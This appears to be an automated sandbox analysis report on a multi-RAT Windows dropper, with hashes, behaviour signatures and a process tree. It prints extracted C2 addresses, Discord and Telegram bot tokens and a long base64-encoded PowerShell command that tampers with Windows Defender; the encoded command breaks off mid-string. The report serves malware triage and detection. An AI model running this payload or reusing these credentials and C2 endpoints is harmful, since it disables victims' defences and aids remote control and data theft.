Overview

overview

10

Static

static

3

New Text D...od.exe

windows7-x64

10

New Text D...od.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 14:56

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    New Text Document mod.exe

  • Size

    8KB

  • MD5

    69994ff2f00eeca9335ccd502198e05b

  • SHA1

    b13a15a5bea65b711b835ce8eccd2a699a99cead

  • SHA256

    2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2

  • SHA512

    ced53147894ed2dfc980bcb50767d9734ba8021f85842a53bb4bb4c502d51b4e9884f5f74c4dd2b70b53cafbe2441376675f7bd0f19bb20a3becb091a34fb9f3

  • SSDEEP

    96:y7ov9wc1dN1Unh3EHJ40CUJCrQt0LpCBIW12nEtgpH9GIkQYQoBNw9fnmK5iLjTv:yZyTFJfCB20LsBIW12n/eIkQ2BNg5S1

Score
10/10
asyncratdiscordratstormkittyvenomratwarzoneratxwormdefaultcollectiondiscoveryevasionexecutioninfostealerpersistenceratrootkitspywarestealertrojanupx

Malware Config

Extracted

Family

warzonerat

C2

dns.stipamana.com:5219

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

205.209.109.10:4449

205.209.109.10:7723
Mutex

clgbfqzkkypxjps

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

discordrat

Attributes
  • discord_token

    MTMxNTExMzk1MTQwMjUyNDc5Mg.Gr0nG0.RZobhhDSOoVNDV4G6dfAh3s5Qo1p7HVqUhKZ3o

  • server_id

    1313949691574226985

Extracted

Family

xworm

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    ntoskrnl.exe

  • pastebin_url

    https://pastebin.com/raw/5FinF5Mf

  • telegram

    https://api.telegram.org/bot6521061783:AAGQkZDgpgjXOESj9-XTf5_ylzpA9XFxUw8/sendMessage?chat_id=5999137434

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • Detect Xworm Payload 2 IoCs
  • Discord RAT

    A RAT written in C# using Discord as a C2.

    stealerrootkitratpersistencediscordrat
  • Discordrat family
    discordrat
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 1 IoCs
    evasiontrojan
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Stormkitty family
    stormkitty
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • VenomRAT 3 IoCs

    Detects VenomRAT.

    rat
  • Venomrat family
    venomrat
  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

    ratinfostealerwarzonerat
  • Warzonerat family
    warzonerat
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Async RAT payload 3 IoCs
    rat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Warzone RAT payload 6 IoCs
    rat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 35 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
    collection
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 14 IoCs
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Modifies data under HKEY_USERS 46 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3520
      • C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
        "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
        2⤵
        • Checks computer location settings
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4416
        • C:\Users\Admin\AppData\Local\Temp\a\wrofile1.exe
          "C:\Users\Admin\AppData\Local\Temp\a\wrofile1.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4040
          • C:\Users\Admin\AppData\Local\Temp\a\wrofile1.exe
            C:\Users\Admin\AppData\Local\Temp\a\wrofile1.exe
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1124
          • C:\Users\Admin\AppData\Local\Temp\a\wrofile1.exe
            C:\Users\Admin\AppData\Local\Temp\a\wrofile1.exe
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1604
            • C:\ProgramData\images.exe
              "C:\ProgramData\images.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:584
              • C:\ProgramData\images.exe
                C:\ProgramData\images.exe
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:3048
              • C:\ProgramData\images.exe
                C:\ProgramData\images.exe
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:1092
        • C:\Users\Admin\AppData\Local\Temp\a\H3tyh96.exe
          "C:\Users\Admin\AppData\Local\Temp\a\H3tyh96.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4112
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAI